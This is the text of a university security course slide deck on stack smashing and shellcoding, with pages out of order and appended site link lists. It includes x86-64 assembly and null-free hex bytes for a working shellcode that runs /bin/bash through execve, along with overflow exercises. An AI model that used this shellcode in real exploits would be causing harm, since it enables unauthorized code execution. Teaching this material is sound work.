Zero-bytes presence is caused by data and addresses

    mov rax, 11h is equivalent to mov rax, 0000000000000011h.
    lea rax, [rel message] is equivalent to lea rax, [rip + 0000. . . xxh].
    execve, for instance, requires a null terminated string and some null
    parameters.

Solutions
    Use xor operation to zero a register.
    Use smaller registers (e.g.: rax → eax → ax → [ah,al])
    Use add operation: immediate operator is not expanded.
    Place non-null marker and substitute them inside the code.
    Make a relative reference offset negative.

       (CeSeNA)                                             December 17, 2012   61 / 72
Shellcoding



    Shellcode: second attempt I

1   b i t s 64
2   jmp code
3   f i l e n a m e db ’ / b i n / b a s h ’ , ’ n ’ ; ’ n ’ i s t h e m a r k e r
4   a r g s db 16
5   code :
6         lea rdi , [ r e l filename ] ; negative o f f s e t
7         lea rsi , [ r e l args ] ; negative o f f s e t
8         x o r rdx , r d x ; z e r o s r d x
9        mov [ r e l f i l e n a m e +10] , d l ; z e r o s t h e m a r k e r
0        mov [ r e l a r g s ] , r d i
1        mov [ r e l a r g s +8] , r d x
2         xor rax , rax ; z e r o s rax
3        mov a l , 59 ; u s e s s m a l l e r r e g i s t e r
4         syscall




              (CeSeNA)                                                      December 17, 2012   62 / 72
Shellcoding



    Shellcode: second attempt II



1    xeb  x0b  x 2 f  x62  x69  x6e  x 2 f  x62  x61  x73  x68  x6e
2    x10  x48  x8d  x3d  x e e  x f f  x f f  x f f  x48  x8d  x35  x f 1
3    x f f  x f f  x f f  x48  x31  xd2  x88  x15  xe8  x f f  x f f  x f f
4    x48  x89  x3d  xe1  x f f  x f f  x f f  x48  x89  x15  xe2  x f f
5    x f f  x f f  x48  x31  xc0  xb0  x3b  x 0 f  x05




          Zero-bytes eliminated.




              (CeSeNA)                                                         December 17, 2012   63 / 72
Exercise



Outline

1 Introduction                               DEP
    Smash the stack                    4   Mitigations Bypass
    A brief time line                        Multiple Input and Static Areas
    Process Memory                           NOP Sledge
    Stack Frame                              JMP2Register
2 Buffer Overflows                             Exception Handler
    Unsafe functions                         Ret2libc
    Basic Overflow                            ROP
    Heap-based Overflow                 5   Shellcoding
    Stack-based Overflow                      Syscalls
3 Security                                   Data reference
    Programming Languages                    Zero-bytes problem
    Stack Cookies                      6   Exercise
    ASLR                               7   References

        (CeSeNA)                                          December 17, 2012   64 / 72
Exercise



Exercise I
Exercises source available at http://goo.gl/WupDs
Some exercises need to connect via ssh to cesena.ing2.unibo.it
as pwn at port 7357 to test your solution.
(ssh pwn@cesena.ing2.unibo.it -p 7357)




                         Figure : Exercises source


        (CeSeNA)                                        December 17, 2012   64 / 72
Exercise



Exercise II




Warming up
auth
Just a basic overflow.
Don’t look too far, it’s just next to you.




        (CeSeNA)                             December 17, 2012   65 / 72
Exercise



Exercise III




Function pointer overwrite
nameless
Hey! A function pointer!
Yes, we probably need gdb




       (CeSeNA)                         December 17, 2012   66 / 72
Exercise



Exercise IV




Return OverWrite Easy
rowe
We are getting serious
You’ll have to OverWrite the return address!




        (CeSeNA)                               December 17, 2012   67 / 72
Exercise



Exercise V




Return OverWrite Hard
rowh
Just like the previuos, but can you also prepare the data on the stack?




        (CeSeNA)                                         December 17, 2012   68 / 72
Exercise



Exercise VI




Notes program
note
Sample notes program, ./note reads the notes, ./note ”my note” adds a
note
You’ll need a shellcode.




       (CeSeNA)                                       December 17, 2012   69 / 72
References



Outline

1 Introduction                                 DEP
    Smash the stack                      4   Mitigations Bypass
    A brief time line                          Multiple Input and Static Areas
    Process Memory                             NOP Sledge
    Stack Frame                                JMP2Register
2 Buffer Overflows                               Exception Handler
    Unsafe functions                           Ret2libc
    Basic Overflow                              ROP
    Heap-based Overflow                   5   Shellcoding
    Stack-based Overflow                        Syscalls
3 Security                                     Data reference
    Programming Languages                      Zero-bytes problem
    Stack Cookies                        6   Exercise
    ASLR                                 7   References

        (CeSeNA)                                            December 17, 2012   70 / 72
References



References I

   Erik Buchanan, Ryan Roemer, Stefan Savage, and Hovav Shacham.
   Return-oriented programming: Exploitation without code injection.
   BlackHat USA 2008, 2008.
   c0ntex.
   Bypassing non-executable-stack during exploitation using
   return-to-libc.
   http://www.infosecwriters.com/text_resources/pdf/
   return-to-libc.pdf, 2006.
   Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat
   Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang.
   Stackguard: Automatic adaptive detection and prevention of
   buffer-overflow attacks.
   In USENIX Security Symposium, volume 7th, January 1998.

      (CeSeNA)                                       December 17, 2012   70 / 72
References



References II
   Linux Foundation.
   Linux documentation.
   http://linux.die.net/.
   Igor Skochinsky Hex-Rays.
   Compiler internals: Exceptions and rtti.
   http://www.hexblog.com/, 2012.
   Intel.
   Intel R 64 and IA-32 Architectures Software Developer’s Manuale
   Combined Volumes:1, 2A, 2B, 3C, 3A, 3B and 3C.
   Intel, August 2012.
   Aleph One.
   Smashing the stack for fun and profit.
   http://insecure.org/stf/smashstack.html, 1996.

       (CeSeNA)                                       December 17, 2012   71 / 72
References



References III


   IBM Research.
   Gcc extension for protecting applications from stack-smashing attacks.

   http://www.research.ibm.com/trl/projects/security/ssp/,
   2005.
   G. Adam Stanislav.
   http://www.int80h.org/.
   Corelan Team.
   Exploit writing tutorial part 3 : Seh based exploits.
   http://www.corelan.be, 2009.




       (CeSeNA)                                            December 17, 2012   72 / 72

Weitere ähnliche Inhalte

Was ist angesagt?

Microkernel-based operating system development
Microkernel-based operating system developmentMicrokernel-based operating system development
Microkernel-based operating system developmentSenko Rašić
 
H.264 Library
H.264 LibraryH.264 Library
H.264 LibraryVideoguy
 
CSTalks-Visualizing Software Behavior-14Sep
CSTalks-Visualizing Software Behavior-14SepCSTalks-Visualizing Software Behavior-14Sep
CSTalks-Visualizing Software Behavior-14Sepcstalks
 
Performance Optimization of SPH Algorithms for Multi/Many-Core Architectures
Performance Optimization of SPH Algorithms for Multi/Many-Core ArchitecturesPerformance Optimization of SPH Algorithms for Multi/Many-Core Architectures
Performance Optimization of SPH Algorithms for Multi/Many-Core ArchitecturesDr. Fabio Baruffa
 

Was ist angesagt? (9)

Libra Library OS
Libra Library OSLibra Library OS
Libra Library OS
 
Microkernel-based operating system development
Microkernel-based operating system developmentMicrokernel-based operating system development
Microkernel-based operating system development
 
Presentation
PresentationPresentation
Presentation
 
H.264 Library
H.264 LibraryH.264 Library
H.264 Library
 
CSTalks-Visualizing Software Behavior-14Sep
CSTalks-Visualizing Software Behavior-14SepCSTalks-Visualizing Software Behavior-14Sep
CSTalks-Visualizing Software Behavior-14Sep
 
C++0x
C++0xC++0x
C++0x
 
Performance Optimization of SPH Algorithms for Multi/Many-Core Architectures
Performance Optimization of SPH Algorithms for Multi/Many-Core ArchitecturesPerformance Optimization of SPH Algorithms for Multi/Many-Core Architectures
Performance Optimization of SPH Algorithms for Multi/Many-Core Architectures
 
Rnaseq forgenefinding
Rnaseq forgenefindingRnaseq forgenefinding
Rnaseq forgenefinding
 
RESTful Triple Spaces of Things
RESTful Triple Spaces of ThingsRESTful Triple Spaces of Things
RESTful Triple Spaces of Things
 

Andere mochten auch

Introduction to Linux Exploit Development
Introduction to Linux Exploit DevelopmentIntroduction to Linux Exploit Development
Introduction to Linux Exploit Developmentjohndegruyter
 
Exploit techniques and mitigation
Exploit techniques and mitigationExploit techniques and mitigation
Exploit techniques and mitigationYaniv Shani
 
Introduction to pointers and memory management in C
Introduction to pointers and memory management in CIntroduction to pointers and memory management in C
Introduction to pointers and memory management in CUri Dekel
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploitshughpearse
 
Debugging Applications with GNU Debugger
Debugging Applications with GNU DebuggerDebugging Applications with GNU Debugger
Debugging Applications with GNU DebuggerPriyank Kapadia
 
How Functions Work
How Functions WorkHow Functions Work
How Functions WorkSaumil Shah
 
Insecure coding in C (and C++)
Insecure coding in C (and C++)Insecure coding in C (and C++)
Insecure coding in C (and C++)Olve Maudal
 
Basic of Exploitation
Basic of ExploitationBasic of Exploitation
Basic of ExploitationJongseok Choi
 
PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)Ange Albertini
 
6 buffer overflows
6   buffer overflows6   buffer overflows
6 buffer overflowsdrewz lin
 
Reversing & malware analysis training part 2 introduction to windows internals
Reversing & malware analysis training part 2   introduction to windows internalsReversing & malware analysis training part 2   introduction to windows internals
Reversing & malware analysis training part 2 introduction to windows internalssecurityxploded
 
Numbers and Values in Objective-C and C Programming
Numbers and Values in Objective-C and C ProgrammingNumbers and Values in Objective-C and C Programming
Numbers and Values in Objective-C and C ProgrammingPaul Solt
 
Cpu cycle
Cpu cycleCpu cycle
Cpu cyclemaciakl
 
Authoring tools worksheet
Authoring tools worksheetAuthoring tools worksheet
Authoring tools worksheetFarid Diah
 
02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stackAlexandre Moneger
 
Python Yield
Python YieldPython Yield
Python Yieldyangjuven
 
2장. Runtime Data Areas
2장. Runtime Data Areas2장. Runtime Data Areas
2장. Runtime Data Areas김 한도
 

Andere mochten auch (20)

Introduction to Linux Exploit Development
Introduction to Linux Exploit DevelopmentIntroduction to Linux Exploit Development
Introduction to Linux Exploit Development
 
Exploit techniques and mitigation
Exploit techniques and mitigationExploit techniques and mitigation
Exploit techniques and mitigation
 
Introduction to pointers and memory management in C
Introduction to pointers and memory management in CIntroduction to pointers and memory management in C
Introduction to pointers and memory management in C
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
 
Debugging Applications with GNU Debugger
Debugging Applications with GNU DebuggerDebugging Applications with GNU Debugger
Debugging Applications with GNU Debugger
 
The Stack Frame
The Stack FrameThe Stack Frame
The Stack Frame
 
How Functions Work
How Functions WorkHow Functions Work
How Functions Work
 
Insecure coding in C (and C++)
Insecure coding in C (and C++)Insecure coding in C (and C++)
Insecure coding in C (and C++)
 
Ctf hello,world!
Ctf hello,world! Ctf hello,world!
Ctf hello,world!
 
Basic of Exploitation
Basic of ExploitationBasic of Exploitation
Basic of Exploitation
 
PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)
 
6 buffer overflows
6   buffer overflows6   buffer overflows
6 buffer overflows
 
Reversing & malware analysis training part 2 introduction to windows internals
Reversing & malware analysis training part 2   introduction to windows internalsReversing & malware analysis training part 2   introduction to windows internals
Reversing & malware analysis training part 2 introduction to windows internals
 
Numbers and Values in Objective-C and C Programming
Numbers and Values in Objective-C and C ProgrammingNumbers and Values in Objective-C and C Programming
Numbers and Values in Objective-C and C Programming
 
Cpu cycle
Cpu cycleCpu cycle
Cpu cycle
 
Authoring tools worksheet
Authoring tools worksheetAuthoring tools worksheet
Authoring tools worksheet
 
Wk1to4
Wk1to4Wk1to4
Wk1to4
 
02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack
 
Python Yield
Python YieldPython Yield
Python Yield
 
2장. Runtime Data Areas
2장. Runtime Data Areas2장. Runtime Data Areas
2장. Runtime Data Areas
 

Ähnlich wie Smashing The Stack

Data Grids with Oracle Coherence
Data Grids with Oracle CoherenceData Grids with Oracle Coherence
Data Grids with Oracle CoherenceBen Stopford
 
Column and hadoop
Column and hadoopColumn and hadoop
Column and hadoopAlex Jiang
 
Direct Code Execution - LinuxCon Japan 2014
Direct Code Execution - LinuxCon Japan 2014Direct Code Execution - LinuxCon Japan 2014
Direct Code Execution - LinuxCon Japan 2014Hajime Tazaki
 
2023-02-22_Tiberti_CyberX.pdf
2023-02-22_Tiberti_CyberX.pdf2023-02-22_Tiberti_CyberX.pdf
2023-02-22_Tiberti_CyberX.pdfcifoxo
 
Performance and predictability
Performance and predictabilityPerformance and predictability
Performance and predictabilityRichardWarburton
 
Performance and predictability
Performance and predictabilityPerformance and predictability
Performance and predictabilityRichardWarburton
 
Offloading for Databases - Deep Dive
Offloading for Databases - Deep DiveOffloading for Databases - Deep Dive
Offloading for Databases - Deep DiveUniFabric
 
Best Practices for performance evaluation and diagnosis of Java Applications ...
Best Practices for performance evaluation and diagnosis of Java Applications ...Best Practices for performance evaluation and diagnosis of Java Applications ...
Best Practices for performance evaluation and diagnosis of Java Applications ...IndicThreads
 
High-Performance Physics Solver Design for Next Generation Consoles
High-Performance Physics Solver Design for Next Generation ConsolesHigh-Performance Physics Solver Design for Next Generation Consoles
High-Performance Physics Solver Design for Next Generation ConsolesSlide_N
 
Beyond The Data Grid: Coherence, Normalisation, Joins and Linear Scalability
Beyond The Data Grid: Coherence, Normalisation, Joins and Linear ScalabilityBeyond The Data Grid: Coherence, Normalisation, Joins and Linear Scalability
Beyond The Data Grid: Coherence, Normalisation, Joins and Linear ScalabilityBen Stopford
 
Apache Spark: What's under the hood
Apache Spark: What's under the hoodApache Spark: What's under the hood
Apache Spark: What's under the hoodAdarsh Pannu
 
DefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO RoutersDefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO RoutersMichael Smith
 
Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...
Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...
Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...Odinot Stanislas
 

Ähnlich wie Smashing The Stack (20)

Shellcoding, an Introduction
Shellcoding, an IntroductionShellcoding, an Introduction
Shellcoding, an Introduction
 
Data Grids with Oracle Coherence
Data Grids with Oracle CoherenceData Grids with Oracle Coherence
Data Grids with Oracle Coherence
 
Column and hadoop
Column and hadoopColumn and hadoop
Column and hadoop
 
Direct Code Execution - LinuxCon Japan 2014
Direct Code Execution - LinuxCon Japan 2014Direct Code Execution - LinuxCon Japan 2014
Direct Code Execution - LinuxCon Japan 2014
 
os
osos
os
 
2023-02-22_Tiberti_CyberX.pdf
2023-02-22_Tiberti_CyberX.pdf2023-02-22_Tiberti_CyberX.pdf
2023-02-22_Tiberti_CyberX.pdf
 
Performance and predictability
Performance and predictabilityPerformance and predictability
Performance and predictability
 
Performance and predictability
Performance and predictabilityPerformance and predictability
Performance and predictability
 
Mmp hotos2003-slides
Mmp hotos2003-slidesMmp hotos2003-slides
Mmp hotos2003-slides
 
Offloading for Databases - Deep Dive
Offloading for Databases - Deep DiveOffloading for Databases - Deep Dive
Offloading for Databases - Deep Dive
 
Hadoop Internals
Hadoop InternalsHadoop Internals
Hadoop Internals
 
Revers engineering
Revers engineeringRevers engineering
Revers engineering
 
Best Practices for performance evaluation and diagnosis of Java Applications ...
Best Practices for performance evaluation and diagnosis of Java Applications ...Best Practices for performance evaluation and diagnosis of Java Applications ...
Best Practices for performance evaluation and diagnosis of Java Applications ...
 
Hadoop Inside
Hadoop InsideHadoop Inside
Hadoop Inside
 
High-Performance Physics Solver Design for Next Generation Consoles
High-Performance Physics Solver Design for Next Generation ConsolesHigh-Performance Physics Solver Design for Next Generation Consoles
High-Performance Physics Solver Design for Next Generation Consoles
 
Beyond The Data Grid: Coherence, Normalisation, Joins and Linear Scalability
Beyond The Data Grid: Coherence, Normalisation, Joins and Linear ScalabilityBeyond The Data Grid: Coherence, Normalisation, Joins and Linear Scalability
Beyond The Data Grid: Coherence, Normalisation, Joins and Linear Scalability
 
Apache Spark: What's under the hood
Apache Spark: What's under the hoodApache Spark: What's under the hood
Apache Spark: What's under the hood
 
DefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO RoutersDefCon 2012 - Rooting SOHO Routers
DefCon 2012 - Rooting SOHO Routers
 
Failure Of DEP And ASLR
Failure Of DEP And ASLRFailure Of DEP And ASLR
Failure Of DEP And ASLR
 
Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...
Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...
Ceph: Open Source Storage Software Optimizations on Intel® Architecture for C...
 

Kürzlich hochgeladen

Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 

Kürzlich hochgeladen (20)

Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 

Smashing The Stack

  • 1. Smashing the Stack Cesena Security Network and Applications University of Bologna, Scuola di Ingegneria ed Architettura Ingegneria Informatica Scienze e Tecnologie dell’Informazione Ingegneria e Scienze Informatiche December 17, 2012
  • 2. Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 2 / 72
  • 3. Introduction Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 3 / 72
  • 4. Introduction Introduction I Acknowledgement A special thanks to CeSeNA Security group and Marco Ramilli our “old” mentor... (CeSeNA) December 17, 2012 3 / 72
  • 5. Introduction Smash the stack Smash the stack I Smash The Stack [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. (CeSeNA) December 17, 2012 4 / 72
  • 6. Introduction A brief time line A brief time line I The fist document Overflow Attack (Air Force) - 31/10/1972 “By supplying addresses outside the space allocated to the users programs, it is often possible to get the monitor to obtain unauthorized data for that user, or at the very least, generate a set of conditions in the monitor that causes a system crash.” (CeSeNA) December 17, 2012 5 / 72
  • 7. Introduction A brief time line A brief time line II The morris Worm - 2/11/1988 Robert Tappan Morris (Jr.) wrote and released this while still a student at Cornell University. Aside from being the first computer worm to be distributed via the Internet, the worm was the public’s introduction to “Buffer Overflow Attacks”, as one of the worms attack vectors was a classic stack smash against the fingerd daemon. In his analysis of the worm, Eugene Spafford writes the following: “The bug exploited to break fingerd involved overrunning the buffer the daemon used for input. . . . The idea of using buffer overflow to inject code into a program and cause it to jump to that code occurred to me while reading fingerd.c” (CeSeNA) December 17, 2012 6 / 72
  • 8. Introduction A brief time line A brief time line III How to Write Buffer Overflow 20/10/1995 by Peiter Zatko (mudge) “. . . The ’Segmentation fault (core dumped)’ is what we wanted to see. This tells us there is definitely an attempt to access some memory address that we shouldn’t. If you do much in ’C’ with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly. ...” Smashing The Stack For Fun And Profit 8/11/1996 by Elias Levy (Aleph1) One of the best article about BoF. (CeSeNA) December 17, 2012 7 / 72
  • 9. Introduction Process Memory Process Memory I Buffers, Memory and Process To understand what stack buffers are we must first understand how a program and process are organized. Program layout is divided in sections like: .text, where program instruction are stored .data, where program data will be stored .bss, where static vars are allocated .stack, where stack frames live These sections are typically mapped in memory segments, so they have associated RWX permissions. (CeSeNA) December 17, 2012 8 / 72
  • 10. Introduction Process Memory Process Memory II .text The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. .data .bss The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss-data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments. (CeSeNA) December 17, 2012 9 / 72
  • 11. Introduction Process Memory Process Memory III /------------------ higher | | memory | Stack | addresses |------------------| | (Uninitialized) | | Data | | (Initialized) | |------------------| | Text | lower | | memory ------------------/ addresses (CeSeNA) December 17, 2012 10 / 72
